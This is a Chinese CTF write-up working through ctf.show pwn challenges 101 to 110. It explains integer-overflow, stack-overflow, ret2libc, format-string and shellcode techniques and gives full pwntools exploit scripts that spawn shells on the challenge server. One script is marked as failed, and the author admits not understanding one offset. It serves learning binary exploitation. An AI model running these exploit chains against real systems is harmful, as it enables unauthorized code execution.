pwn101(先学点东西吧)

64位保护全开

v4和n0x7FFFFFFF都有初始值,他说输入2个整数,英文真的一开始没看懂
(unsigned int)__isoc99_scanf(“%d %d”, &v4, &n0x7FFFFFFF) == 2
这一句就是把返回值转化为无符号整型然后与2做比较
接下来判断我们的输入是否等于初始值,就会执行gift()直接拿到flag

useful就是给我们学习的信息

from pwn import *
context.log_level = 'debug'
#p=process('./pwn100')
p=remote('pwn.challenge.ctf.show',28260)
p.sendlineafter(b'Enter two integers: ',b'2147483648 2147483647')
p.interactive()

pwn102(还是简单的知识)

64位保护全开

就是输入v4=-1就可以,注意,输入的是unsigned int
范围是0~0xffffffff
我们直接输入-1

pwn103(看着好像还是不难)


想要拿到flag的条件是
(unsigned __int64)dest > 0x1BF52 //114514
想要进入这个判断就需要n<=80
哪个英文的意思是输入数据长度最多80也就是0x50,可以直接输入0x50
然后会让我们输入dest
但是注意一个地方
src = 0;
memcpy(dest, src, n);
这个函数从src这个地址拷贝东西,但是这个地址为null,以为就是如果n!=0就会提前崩掉
from pwn import *
context.log_level = 'debug'
#p=process('./pwn100')
p=remote('pwn.challenge.ctf.show',28266)
p.sendlineafter(b'Enter the length of data (up to 80): ',b'0')
p.sendlineafter(b'Enter the data: ',b'0')
#p.sendlineafter(b'Enter the data: ',b'114515')
p.interactive()

pwn104
有什么是可控的?

64位开了nx
我们看到that


应该是要想办法覆盖返回地址,我们可以直接控制nbytes
让其缓冲区溢出

缓冲区溢出需要0x0e+8
from pwn import *
context.log_level = 'debug'
#p=process('./pwn100')
p=remote('pwn.challenge.ctf.show',28106)
p.sendlineafter(b'How long are you?\n',b'30')
payload=b'a'*(0x0e+8)+p64(0x40078D)
p.recvuntil(b'Who are you?\n')
p.sendline(payload)
p.interactive()

pwn105
看着好像没啥问题

32位开了NX

main函数里面的read刚好把buf填满,看起来很危险
跟进ctfshow(buf)

对于这个函数来说,我们可以控制s让dest越界

有后门可以跳转执行

一样的可以实现栈溢出,但是ctfshow里面还有条件
n3 = strlen(s);
if ( n3 <= 3u || n3 > 8u )
我们要绕过这个条件,这里就有一个整形溢出
n3是unsigned __int8,只能存八位,1111 1111就是最大的数字,0~255,256是1 0000 0000,也就是strlen返回0,257返回1,我们要让他返回3-8之间的数,就可以是256+4=260
所以我们的payload长度设置成0x104
from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show",28153)
#p=process("./pwn105")
payload=(b'a'*(0x11+4)+p32(0x804870E)).ljust (0x104,b'a')
p.sendlineafter("[+] Check your permissions:",payload)
p.interactive()

pwn106
还是非常简单

一来就看到后门,需要ret2

看了看main主要跟进login(p_argc)

让你输入用户名和密码,返回一个整数,跟进check_passwd(buf)

其实这次条件还是没有变,我们想要栈溢出就必须通过
n3 = strlen(s);
if ( n3 > 3u && n3 <= 8u )
也就是s的大小是0x104个字符
s其实是从login()里面来,输入密码的时候把payload传进去就行
read(0, buf, 0x199u);
return check_passwd(buf);
整数溢出+栈溢出
from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show",28222)
#p=process("./pwn106")
p.sendlineafter('Your choice:',str(1))
p.sendlineafter('Please input your username:',b'faetong')
payload=(b'a'*(0x14+4)+p32(0x8048919)).ljust (0x104,b'a')
p.sendlineafter("Please input your passwd:",payload)
flag=p.recvuntil('\n')
print(flag)
p.interactive()

pwn107
类型转换

没有找到后门

这里会经过一个getch(nptr, 4)让我们输入字符,然后用atoi()进行转换
跟进getch

这个for循环本身没有退出条件,循环体内部的判断可以利用
!char || char == 10 || i >= n4
我们输入的?char满足其中一个条件或者i>=n4,n4是4,也就是循环到第5次
函数最后返回的是nptr[i]的地址,如果第一次就跳出循环,nptr[0] = 0
但是仔细观察有一个很奇怪的地方,main函数中的n4是int类型的变量而getch函数里面n4是unsigned int,
注意看到show函数下面还有一个if

我们肯定是要程序继续执行,所以n4<=32,就是atoi(nptr)<=32
程序会再次getch(nptr, n4);
此时n4经历了类型转换,我们如果一开始输入负数就可以造成整数溢出绕过长度限制
试试

果然是绕过来了,接下来我们可以re2libc了,利用printf来泄露libc
偏移是0x2c+4
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
p=remote("pwn.challenge.ctf.show", 28222)
#p=process("./pwn107")
e=ELF("./pwn107")
printf_got=e.got['printf']
printf_plt=e.plt['printf']
show_addr=e.symbols['show']
payload=b'a'*(0x2c+4)+p32(printf_plt)+p32(show_addr)+p32(printf_got)
p.sendlineafter("read? ",b'-1')
p.sendline(payload)
printf_leak=u32(p.recvuntil('\xf7')[-4:])
print(f'leak={hex(printf_leak)}')
libc=LibcSearcher("printf",printf_leak)
base=printf_leak-libc.dump("printf")
system=base+libc.dump("system")
binsh=base+libc.dump("str_bin_sh")
payload2=b'a'*(0x2c+4)+p32(system)+p32(show_addr)+p32(binsh)
p.sendlineafter("read? ",b'-1')
p.sendline(payload2)
p.interactive()

pwn108
学累了吧,来玩个游戏

保护全开,玩个毛线游戏
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
_BYTE v7[3]; // [rsp+25h] [rbp-Bh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_9BA();
sub_A55(a1, a2);
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");
v6 = sub_B78();
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1u);
getchar();
}
if ( (unsigned int)sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(_BYTE *)(j + v6) = v7[j];
}
if ( !dlopen(0, 1) )
exit(1);
puts("bye~");
return 0;
}
让人看着很烦的main函数
printf("I placed the target near: %p\n", &puts);
这里直接泄露了puts的真实地址,泄露libc
我们跟进v6 = sub_B78();
__int64 sub_B78()
{
char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
sub_AE3(nptr, 16);
return atol(nptr);
}
unsigned __int64 __fastcall sub_AE3(char *nptr, int n16)
{
int i; // [rsp+18h] [rbp-18h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i < n16; ++i )
{
if ( (unsigned int)read(0, nptr, 1u) == -1 )
exit(1);
if ( *nptr == 10 )
break;
++nptr;
}
return __readfsqword(0x28u) ^ v5;
}
就是可以向nptr中输入一个地址
直接关系到的是main中这一段代码
if ( (unsigned int)sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(_BYTE *)(j + v6) = v7[j];
}
可以修改3个字节
我们跟进sub_BC2,发现有一些东西不能写入
禁止写入 当:
(a1[0] == 0xC5 && a1[1] == 0xF2)
|| (a1[0] == 0x22 && a1[1] == 0xF3)
|| (a1[0] == 0x8C)
|| (a1[1] == 0xA3)
结合main中的代码,意思是只检查了前两个字节
其实前面的东西比较清楚,我们能够控制v6,v7[j],而且还有libc可以泄露,完全可以做到地址任意写,就是最后那个限制有点懵
其实是限制的gadget,我们确实可以像wp里面用gadget-5来绕过,它会继续执行
但是关于exit hook那一大串调用链我是真的看不懂TAT
下面就是glibc在处理的真实链子
exit
└─ glibc/stdlib/exit.c
└─ __run_exit_handlers
└─ _dl_fini
└─ call [_dl_rtld_lock_recursive]
1、leak
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
p=remote("pwn.challenge.ctf.show", 28211)
#p=process("./pwn107")
e=ELF("./pwn108")
p.recvuntil("0x")
puts_leak=int(p.recvuntil('\n'),16)
print(f'puts_leak={hex(puts_leak)}')

0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
但是真的不太一样啊,就用wp里面的先跑个flag吧
2、give up了
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28294)
elf = ELF('./pwn108')
libc = ELF('/home/faetong/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
io.recvuntil('0x')
puts_addr = int(io.recv(12),16)
libc_base = puts_addr - libc.sym['puts']
strlen = libc_base + 0x3eb0a8
sss = str(strlen)
io.sendline(sss)
one_gadget = libc_base + 0xe54fe
for _ in range(3):
io.sendlineafter("biang!\n", chr(one_gadget & 0xff))
one_gadget = one_gadget >> 8
io.interactive()

实是2.27的libc,可以用glibc_all_in_one下载
pwn109

ida打开有点小乱,找找main
int __cdecl sub_90B(int a1)
{
int p_n2; // [esp+0h] [ebp-40Ch] BYREF
char buf[1024]; // [esp+4h] [ebp-408h] BYREF
int *v4; // [esp+404h] [ebp-8h]
v4 = &a1;
sub_73B();
sub_7A2();
while ( 1 )
{
while ( 1 )
{
puts("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!");
__isoc99_scanf("%d", &p_n2);
getchar();
if ( p_n2 != 2 )
break;
sub_8E4(buf);
}
if ( p_n2 == 3 )
break;
if ( p_n2 == 1 )
sub_8A4(buf, 0x400u);
else
printf("What do you mean by %d", p_n2);
}
puts("See you~");
return 0;
}
这个应该就是main函数
这是一个菜单
跟进输入一的sub_8A4(buf, 1024u)

先打印了buf的地址,然后我们可以输入1024字节,好像刚好填满buf
跟进输入2的printf_w(buf)

调用了printf,好像有格式化字符串,我们可以试试

确实可以,偏移是16
1、菜鸡的做法失败了
这样我们可以通过漏洞将printf_got替换为system
首先泄露libc

应该也是2.27
试了一下,没有打通,还是把脚本放出来是师傅们指点一二(我真菜)
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28256)
elf = ELF('./pwn109')
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so")
printf_got=elf.got["printf"]
payload1=p32(printf_got)+b'%16$s'
p.sendlineafter("3) Quit!!!\n",str(1))
p.recvline()
p.sendline(payload1)
p.sendlineafter("3) Quit!!!\n",str(2))
printf_leak=u32(p.recv(4))
print(f'printf_leak={hex(printf_leak)}')
#libc=LibcSearcher("printf",printf_leak)
#base=printf_leak-libc.dump("printf")
#system=base+libc.dump("system")
base=printf_leak-libc.symbols["printf"]
system=base+libc.symbols["system"]
payload2=fmtstr_payload(27,{printf_got:system})
p.sendlineafter("3) Quit!!!\n",str(1))
p.recvline()
p.sendline(payload2)
p.sendlineafter("3) Quit!!!\n",str(1))
p.recvline()
p.sendline(b'/bin/sh\x00')
p.sendlineafter("3) Quit!!!\n",str(2))
p.interactive()
2、shellcode
这个的话其实更简单,就是直接在栈上写好shellcode利用格式化字符串把mian函数的地址改成栈地址,我好蠢TAT
from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28256)
elf = ELF('./pwn109')
shellcode=asm(shellcraft.sh())
printf_got=elf.got['printf']
p.sendlineafter("3) Quit!!!\n",str(1))
buf_leak=int(p.recvuntil(b"\n").strip(), 16)
ret=buf_leak+0x41c
payload1=fmtstr_payload(16,{ret:buf_leak})
p.sendline(payload1)
p.sendlineafter("3) Quit!!!\n",str(2))
p.sendlineafter("3) Quit!!!\n",str(1))
p.recvline()
p.sendline(shellcode)
p.sendlineafter("3) Quit!!!\n",str(3))
p.interactive()

这0x41c我也不知道怎么来的
pwn110
溢出溢出溢出

啥都没有开,没有system和/bin/sh

像是有一个输入和循环输出
跟进input函数
unsigned __int16 *input()
{
__int16 p_n1024; // [esp+Ah] [ebp-41Eh] BYREF
_BYTE buf[1025]; // [esp+Dh] [ebp-41Bh] BYREF
unsigned __int16 p_n1024_1; // [esp+40Eh] [ebp-1Ah] BYREF
strcpy(buf, "???");
memset(&buf[4], 0, 1021);
__isoc99_scanf("%hd", &p_n1024);
if ( p_n1024 > 1024 )
{
puts("You are soooooooooo ******");
exit(0);
}
p_n1024_1 = p_n1024;
printf("%x %u\n", buf, (unsigned __int16)p_n1024);
read(0, buf, p_n1024_1);
qmemcpy(
str, // "WTF?"
buf,
0x400u);
unk_804B460 = buf[1024];
return &p_n1024_1;
}
p_n1024是int16,但是p_n1024_1是unsigned __int16,会发生整数溢出
输入的p_n1024要小于1024,我们可以输入-1绕过判断,buf应该会溢出并且打印栈地址,于是我们可以把shellcode写在栈上,溢出后跳转到栈执行


溢出大小是0x41b+4
from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28280)
elf = ELF('./pwn110')
shellcode=asm(shellcraft.sh())
offset=0x41b+4
p.recvuntil('\n')
p.sendlineafter("1+1= ?",str(-1))
leak=int(p.recvuntil(b' '),16)
#print(hex(leak))
payload=shellcode.ljust(offset,b'a')+p32(leak)
p.sendline(payload)
p.interactive()











师傅,pwn109的0x41c有头绪了吗,教教我